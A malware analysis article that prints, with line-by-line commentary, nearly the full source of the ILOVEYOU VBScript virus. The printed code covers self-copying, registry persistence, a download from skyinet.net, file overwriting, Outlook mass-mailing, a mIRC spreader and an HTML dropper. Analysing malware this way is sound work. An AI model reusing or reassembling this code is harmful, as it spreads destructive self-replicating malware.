Analysis of the I-LOVE-YOU virus

By Frans Faase

Below the text of the famous virus, interspersed with my comments. This is mainly to show that the virus does not contain all kinds of dirty tricks that the Anti-virus software people claim it to have. Especially the reproduction mechanism is dead simple. The only noteworthy thing about it, is that it contains a two step quine, because it can generate an HTML file, which can create the original virus text again.

The quality and style of the code differs from part to part, which seems to suggest that it is from the hand of more than one person. It almost looks like this virus was build from fragments of other virii. Some parts, like the procedure `html` are quite complicated to construct. Other parts contain typical beginners errors. There are fragments of useless code, and some functionality has been implemented more than once. I even found some small bugs. This is not a particularily well designed piece of code. My conclusion is that this virus was never intended to be anything more than a pratical joke. It is also not the most evil virus one can think of. It does some harm, but there are some simple modifications which would make it much more harmful.

I have taken the liberty to indent the code in order to improve readability.

```
rem  barok -loveletter(vbe) <i hate go to school>
rem    by: spyder  /  ispyder@mail.com  /  @GRAMMERSoft Group  /  Manila,Philippines
```

Really silly to include the above lines if you want to stay anonymous. Now the real script starts with some declarations and initializations.

```
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
```

The code below is all you need to read the script into the variable `vbscopy`, which is later on used in the subroutine `infectfiles`, the only nasty bit of the virus. To achieve this first a File System Object is created. This is a object which gives you easy access to the file system, and allows you to do every thing with what you want. In other word, you can do whatever you want. The object is stored in `fso`, and also used in the rest of the script. The first use of it is to open the script file itself in `file`. This variable is only used here.

```
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
```

After this the `main` subroutine is called.

```
main()
```

The `main` subroutine

Why this main subroutine is needed, is not completely clear to me, as you could have done without. It starts with the usual "resume on error" statement, and the necessary declarations.

```
sub main()
  On Error Resume Next
  dim wscr,rr
```

The first thing this routine does is setting the scripting time-out, which is stored in the registry. It surprises me that the routines `regget` and `regcreate` have not been used here. A typical sign of bad design: defining a function, and then not using it. Or was it because the author put the script together from other bits not fulling understanding the complete code? And why do you want to read the value, test if it is larger then zero, and then set it to zero. (I suspect this parameter can only be zero or positive.) The variable `wscr` is not used in the rest of the code, while `CreateObject("WScript.Shell")` is called many times more.

```
  set wscr=CreateObject("WScript.Shell")
  rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
  if (rr>=1) then
    wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
  end if
```

Now get the names of all the important system folders.

```
  Set dirwin = fso.GetSpecialFolder(0)
  Set dirsystem = fso.GetSpecialFolder(1)
  Set dirtemp = fso.GetSpecialFolder(2)
```

Now, the first part of the reproduction process starts. The script is copied to some often executed script files. As soon as the user starts any of these the whole infection process starts over again.

```
  Set c = fso.GetFile(WScript.ScriptFullName)
  c.Copy(dirsystem&"\MSKernel32.vbs")
  c.Copy(dirwin&"\Win32DLL.vbs")
  c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
```

Now call the other subroutines. Again it is questionable whether it would have been needed to subroutines here. To follow the execution trail, continue reading the description of the procedure `regruns`.

```
  regruns()
  html()
  spreadtoemail()
  listadriv()
end sub
```

The subroutine `regruns`

This subroutine starts with the usual stuff.

```
sub regruns()
  On Error Resume Next
  Dim num,downread
```

Now modify the registry, such that the two VBScript files that were overwritten will be run automatically, from now on everytime during startup of the computer.

```
  regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
  regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
```

Set the Internet Explorer directory to "C:\", if it has not been set yet.

```
  downread=""
  downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
  if (downread="") then
    downread="c:\"
  end if
```

The following piece of code is a little obscure. It looks like it has been stolen from somewhere else. It is namely the only part that uses the short hand "HKCU" for "HKEY_CURRENT_USER". The code is only executed if the user has a FAT32 file system, recognized by the presense of `WinFAT32.exe`

```
  if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
    Randomize
    num = Int((4 * Rnd) + 1)
    if num = 1 then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
    elseif num = 2 then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfldjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJkjhkqj4w/WIN-BUGSFIX.exe"
    elseif num = 3 then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
    elseif num = 4 then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
    end if
  end if
  if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
    regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
  end if
end sub
```

To follow the execution trail, continue reading the description of the procedure `html`.

The subroutine `listadriv`

This subroutine starts the execution of the nasty part of the virus, which overwrites and renames script, picture, and music files. It basically calls the subroutine `infectfiles` for all the files on all the local drives. Hereby the subroutine `folderlist` is used to scan all folders recursively.

The first part of the subroutine (besides the usual things) retrieves a collection of all the drives by means of the File Sytem Object.

```
sub listadriv
  On Error Resume Next
  Dim d,dc,s
  Set dc = fso.Drives
```

The following loop, calls `folderlist` for all the local drives.

```
  For Each d in dc
    If d.DriveType = 2 or d.DriveType=3 Then
      folderlist(d.path&"\")
    end if
  Next
```

The following statement is very strange, as the variable `s` has not been assigned any value, and this is a subroutine, not a function. I would say that this line has been left over from some previous version of this subroutine (when it was still a function). Who knows?

```
  listadriv = s
end sub
```

The subroutine `infectfiles`

This the subroutine which infects files in the folder specified by the parameter `folderspec`. The subroutine is called from the subroutine `folderlist`. The subroutine starts with the usual things:

```
sub infectfiles(folderspec)
  On Error Resume Next
  dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
```

Below follows the loop which traverse all the files in the directory. It gets the folder from the File System Object, and from this the collection of all files.

```
  set f = fso.GetFolder(folderspec)
  set fc = f.Files
  for each f1 in fc
```

The code below is executed for each file in the folder. First the file name (stored in `s`) and the extension (stored in `ext`) are retrieved in lower case.

```
    ext=fso.GetExtensionName(f1.path)
    ext=lcase(ext)
    s=lcase(f1.name)
```

If the file has the extension `vbs` or `vbe` it is overwritten by a copy of this VBScript file.

```
    if (ext="vbs") or (ext="vbe") then
      set ap=fso.OpenTextFile(f1.path,2,true)
      ap.write vbscopy
      ap.close
```

If the file has the extension `js`, `jse`, `css`, `wsh`, `sct`, or `hta`, it is first overwritten. These are all different kinds of scripting files.

```
    elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
      set ap=fso.OpenTextFile(f1.path,2,true)
      ap.write vbscopy
      ap.close
```

And secondly, it is renamed to file with the same name, but with the extension `vbs`. This is done by copying the file, to the file with the new name, and then delete the original file.

```
      bname=fso.GetBaseName(f1.path)
      set cop=fso.GetFile(f1.path)
      cop.copy(folderspec&"\"&bname&".vbs")
      fso.DeleteFile(f1.path)
```

If the file has the extension `jpg` or `jpeg` (picture files), it is overwritten with this VBScript file, and the file is renamed by adding the extension `.vbs`.

```
    elseif(ext="jpg") or (ext="jpeg") then
      set ap=fso.OpenTextFile(f1.path,2,true)
      ap.write vbscopy
      ap.close
      set cop=fso.GetFile(f1.path)
      cop.copy(f1.path&".vbs")
      fso.DeleteFile(f1.path)
```

If the file has the extension `jpg` or `jpeg` (picture files), it is overwritten with this VBScript file, and the two is added to the file attributes. Adding is a little a strange, it would have been correct to replace the "add" with an "or" operation.

```
    elseif(ext="mp3") or (ext="mp2") then
      set mp3=fso.CreateTextFile(f1.path&".vbs")
      mp3.write vbscopy
      mp3.close
      set att=fso.GetFile(f1.path)
      att.attributes=att.attributes+2
    end if
```

If the file is one of the files `mirc32.exe`, `mlink32.exe`, `mirc.ini`, `script.ini`, or `mirc.hlp` (indicating the presence of a mIRC program), the file `script.ini` is created (or overwritten). This script file is used by the Internet Relay Chat program mIRC, and will automatically try to send the earlier generate HTML file (by the subroutine `html`) to anybody joining a chat channel. The script starts with some comment lines telling you not to modify it, otherwise mIRC might corrupt Windows. The opposite is the case, I would say. Please note that the comment character ";" is missing from the third line. This will quite likely generate an error message whenever mIRC is started, and thus reveal that the file has been tampered with.

```
    if (eq<>folderspec) then
      if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
        set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
        scriptini.WriteLine "[script]"
        scriptini.WriteLine ";mIRC Script"
        scriptini.WriteLine ";  Please dont edit this script... mIRC will corrupt, if mIRC will"
        scriptini.WriteLine "     corrupt... WINDOWS will affect and will not run correctly. thanks"
        scriptini.WriteLine ";"
        scriptini.WriteLine ";Khaled Mardam-Bey"
        scriptini.WriteLine ";http://www.mirc.com"
        scriptini.WriteLine ";"
        scriptini.WriteLine "n0=on 1:JOIN:#:{"
        scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt }"
        scriptini.WriteLine "n2=  /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
        scriptini.WriteLine "n3=}"
        scriptini.close
        eq=folderspec
      end if
    end if
  next
end sub
```

The subroutine `folderlist`

This routine will call itself and the subroutine `infectfiles` on all the folders in the folder specified by the parameter `folderspec`. It is called by either itself, or `listadriv`.

```
sub folderlist(folderspec)
  On Error Resume Next
  dim f,f1,sf
  set f = fso.GetFolder(folderspec)
  set sf = f.SubFolders
  for each f1 in sf
    infectfiles(f1.path)
    folderlist(f1.path)
  next
end sub
```

The subroutine `regcreate`

This is a little subroutine to add/modify the key specified by the parameter `regkey` with the value given in the parameter `regvalue` in the registry.

```
sub regcreate(regkey,regvalue)
  Set regedit = CreateObject("WScript.Shell")
  regedit.RegWrite regkey,regvalue
end sub
```

The subroutine `regget`

This is a little function to retrieve the value with the key specified by the parameter `value` (a rather misleading name).

```
function regget(value)
  Set regedit = CreateObject("WScript.Shell")
  regget=regedit.RegRead(value)
end function
```

The subroutine `fileexist`

This is a little function to test the existence of the file with name as specified in the parameter `filespec`. It has been programmed rather clumsy. Two lines would have been enough. Really this function is so small, that it would have been better to call the method `FileExists` directly, as is done in two places (here and here) of the code below.

```
function fileexist(filespec)
  On Error Resume Next
  dim msg
  if (fso.FileExists(filespec)) Then
    msg = 0
  else
    msg = 1
  end if
  fileexist = msg
end function
```

The subroutine `folderexist`

This is a little function to test the existence of the file with name as specified in the parameter `folderspec`. For this function the same remarks can be made as the previous. However, this subroutine is not called anywhere. It is a piece of dead code. (I discovered this when I used chkhtml to check this file.)

```
function folderexist(folderspec)
  On Error Resume Next
  dim msg
  if (fso.GetFolderExists(folderspec)) then
    msg = 0
  else
    msg = 1
  end if
  fileexist = msg
end function
```

The subroutine `spreadtoemail`

This is the reproduction subroutine. It sends an email with this file as an attachment to all people in the address book of Outlook. This is the part that makes it a virus. Really nothing tricky happens here. It used "male" for "mail", and "malead" for "mail-id". Was it written by someone with a limited knowledge of English or was this done on purpose.

The subroutine starts with the usual stuff.

```
sub spreadtoemail()
  On Error Resume Next
  dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
```

Creat a shell object that will give access to the windows registry. I do not understand why the global variable `wscr` is not used in this subroutine instead.

```
  set regedit=CreateObject("WScript.Shell")
```

Now create a connection with the Outlook application. Outlook can be access (just like almost any Windows application) as an ActiveX component. And because windows does not have any security, it is free to do what ever you want.

To understand the workings of this procedure, it is important to realize that the registry entries under the Windows Address Book for the current user at HKEY_CURRENT_USER\Software\Microsoft\WAB\ are used for keeping track of who has been send an email already, and who not. Even if a person occurs in more than one address book, it is probably good to only send the email once, in order not to raise too much suspicion. In the same manner it is prevented that an address list is processed more than once (is this possible?).

```
  set out=WScript.CreateObject("Outlook.Application")
```

Outlook provides a handle to all the address lists and the names in those list by calling the method `GetNameSpace`. The code below, traverses all the address lists. The current address list is stored in the variable `a`.

```
  set mapi=out.GetNameSpace("MAPI")
  for ctrlists=1 to mapi.AddressLists.Count
    set a=mapi.AddressLists(ctrlists)
    x=1
```

Now check if the name of the current address list is already stored in the registry. At the end of this loop the number of addresses in the address list is stored in the registry. There is a little bug in this part of the code. If the name of the current address list is not found in the registry, the variable `regv` is assigned the value 1. It should have got the value 0. The value of `regv` is compared with the number of addresses in the address list, in such away that address list with just a single address are skipped.

```
    regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
    if (regv="") then
      regv=1
    end if
    if (int(a.AddressEntries.Count)>int(regv)) then
```

The code below is only executed once for each address list with more than one address in it. The code below is executed for each entry in the address list. The email address of the entry is stored in `malead`. The use of `x` in the code is completely redundant. At the start of the loop it always contains the same value as `ctrentries`, which should have been used instead.

```
      for ctrentries=1 to a.AddressEntries.Count
        malead=a.AddressEntries(x)
```

Again, to prevent an email to be sent only once to each email address, the registry is searched. The result of this search is stored in `regad`. At the end of the current loop the value 1 is stored under the email address in the registry. It seems that the assignment of an empty string to `regad` is a completely useless statement. If `regad` contains the empty string then an email is being sent.

```
        regad=""
        regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
        if (regad="") then
```

Below is all the code that is needed to send an email using outlook. A new item is created, with as recipients the email address stored in `malead`. Also the subject and body are specified, and the virus file is attached as an attachment. The last line, is the single command to send the created email. This code, the heart of the reproduction, is totally straight forward and simple, thus showing how simple it is to create a virus.

```
          set male=out.CreateItem(0)
          male.Recipients.Add(malead)
          male.Subject = "ILOVEYOU"
          male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
          male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
          male.Send
```

The next statement stores the email address in the registry with the value 1, in order to rememeber that an email was send. Then before the end of the inner loop the counter `x` is incremented.

```
          regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
        end if
        x=x+1
      next
```

At the end of the loop the name of the address list is stored in the registry. The funny thing is that it is also the last statement in the else-branch of the if-statement, which checks if the address list has been processed already. First of all, if both branches of an if-statement contain the same statement, then the statement should be placed outside the the if-statement. But secondly, it is a useless statement as the value was already stored in the registry (except for if it was a address list with a single email address), so what is the use of storing the value again?

```
      regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
    else
      regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
    end if
  next
```

Some statements to release the object. Not really needed, as VBScript already does this for you.

```
  Set out=Nothing
  Set mapi=Nothing
end sub
```

To follow the execution trail, continue reading the description of the procedure `listadriv`.

The subroutine `html`

This procedure contains the most clever part of the whole virus. It is part of the reproduction through mIRC (a commonly used chat program) which uses the feature that you can send an HTML file to other people on chat channel. For it to work, a HTML file need to be generated, which can generate the virus script file as part of its execution. Now there is always the problem that if you want to print some text from a programming language, that not all characters a printed verbatim. VBScript encloses strings with the double-quote character ("). If you want to enclose a double-quote character in a string, you have to repeat it. To make a string consisting of one double-quote character, you have to write: """". One way to solve this problem is to use some encoding for the special characters. (A related topic is Quines: programs which when executed output their own source.) But here we have this problem twice. We have a program P1 which when executed generates a program P2, and we have a program P2 which when executed generates a program P1. The program P1 is this VBScript, and program P2 is the HTML, which contains the VBScript. The VBScript inside the generated HTML file uses the following encoding scheme:

character	encoding
'	[-[
"	]-]
\	%-%

The code below, which is used to generate the HTML file uses the following encoding scheme:

character	encoding
'	#-#
"	@-@
\	^-^
/	?-?

Ofcourse, the subroutine starts with the usual "resume on error" statement, and the necessary declarations.

```
sub html
  On Error Resume Next
  dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
```

What follows contains the first part of the to be generated HTML file with the encoded special characters. The workings of the generated HTML file, are described in the next section.

```
  dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
  "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
  "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _
  "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
  "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
  "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _
  "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _
  "<?-?BODY><?-?HTML>"&vbcrlf& _
  "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
  "<!--?-??-?"&vbcrlf& _
  "if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
  "?-??-?-->"&vbcrlf& _
  "<?-?SCRIPT>"&vbcrlf& _
  "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
  "<!--"&vbcrlf& _
  "on error resume next"&vbcrlf& _
  "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
  "aw=1"&vbcrlf& _
  "code="
```

What follows contains the last part of the to be generated HTML file with the encoded special characters. The third to fifth line contain the decoding statements that the VBScript inside the HTML file uses to decode the encoded special characters.

```
  dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
  "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
  "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
  "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
  "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
```

```
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
"if (err.number=424) then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
```

Now decode the encoded special characters for both parts, using the `chr` function to represent the special characters.

```
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
```

Open this script file, and read them line-by-line into the variable `lines`. The first line assign the global variable `fso` again.

```
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
```

Now encode the special charachters according to the encoding used inside the VBScript of the generated HTML file. Also add the string "`&vbcrlf& _`" to all, but the last line.

```
l1=ubound(lines)
for n=0 to ubound(lines)
  lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
  lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
  lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
  if (l1=n) then
    lines(n)=chr(34)+lines(n)+chr(34)
  else
    lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
  end if
next
```

Now create the HTML file from all of the above parts.

```
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub
```

To get an idea what will be the contents of `LOVE-LETTER-FOR-YOU.HTM`, looks the next section. To follow the execution trail, continue reading the description of the procedure `spreadtoemail`.

Generated HTML file

Here the working of the HTML file `LOVE-LETTER-FOR-YOU.HTM`, which is generated by the subroutine `html`, are described. Below the HTML is given, interspersed with my comments. Again, I have taken the liberty to reformat the contents slightly, in order to improve readability.

The HTML file start with the header containing the same comments also found at the top of the virus file. The description "simple but i think this is good..." is really funny in the light of the damage that the virus has caused.

```
<HTML><HEAD>
<TITLE>LOVELETTER - HTML</TITLE>
<META NAME="Generator" CONTENT="BAROK VBS - LOVELETTER">
<META NAME="Author" CONTENT="spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila, Philippines / March 2000">
<META NAME="Description" CONTENT="simple but i think this is good...">
</HEAD>
```

Next is the body of the HTML-document. If starts with defining two tricky event handlers. It will reopen the document as soon as the mouse leaves the window, or when a key is pressed.

```
<BODY
 ONMOUSEOUT="window.name='main';window.open('LOVE-LETTER-FOR-YOU.HTM','main')"
 ONKEYDOWN="window.name='main';window.open('LOVE-LETTER-FOR-YOU.HTM','main')"
 BGPROPERTIES="fixed" BGCOLOR="#FF9933">
```

Now comes the contents of the document, which encourages the user to enable ActiveX control which will give access to the whole system of the user, which is needed for the virus to do it's work.

```
<CENTER>
<p>This HTML file need ActiveX Control</p>
<p>To Enable to read this HTML file<BR>
- Please press 'YES' button to Enable ActiveX</p>
</CENTER>
<MARQUEE LOOP="infinite" BGCOLOR="yellow">---------z-------------------z----------</MARQUEE>
</BODY></HTML>
```

Now starts a small Java Script program, which will maximize the browser window. Yes, do not give the user a means to escape, drive him crazy, and she will give in.

```
<SCRIPT language="JScript">
<!--//
  if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}
//-->
</SCRIPT>
```

Now starts the core of the script, which will reproduce the original virus file on the hard drive of the user's computer. The fragment below starts with the usual statements. The last statement, will be followed by the whole encoded text of the original virus file.

```
<SCRIPT LANGUAGE="VBScript">
<!--
  on error resume next
  dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit
  aw=1
  code=  .. the encoded text of the virus inserted here ..
```

The following statement gets the File System Object which will give access to the hard drive. The next statement retrieves the system directory.

```
set fso=CreateObject("Scripting.FileSystemObject")
set dirsystem=fso.GetSpecialFolder(1)
```

The following three statement decode the encoded representation of the original virus file into the variable `code4`.

```
code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))
code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))
code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))
```

The following statement create a file with the name `MSkernel32.vbs` in the system directory (which fails if ActiveX is not enabled).

```
set wri=fso.CreateTextFile(dirsystem&"\MSKernel32.vbs")
wri.write code4
wri.close
```

Now the code checks if the file was really created. If not add a statement to the text of the document, which should urge the user to switch on ActiveX.

```
if (fso.FileExists(dirsystem&"\MSKernel32.vbs")) then
  if (err.number=424) then
    aw=0
  end if
  if (aw=1) then
    document.write "ERROR: can't initialize ActiveX"
    window.close
  end if
end if
```

Now modify the registry to point to the created virus file, such that it will be executed everytime during startup of the computer from now on.

```
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
//-->
</SCRIPT>
```
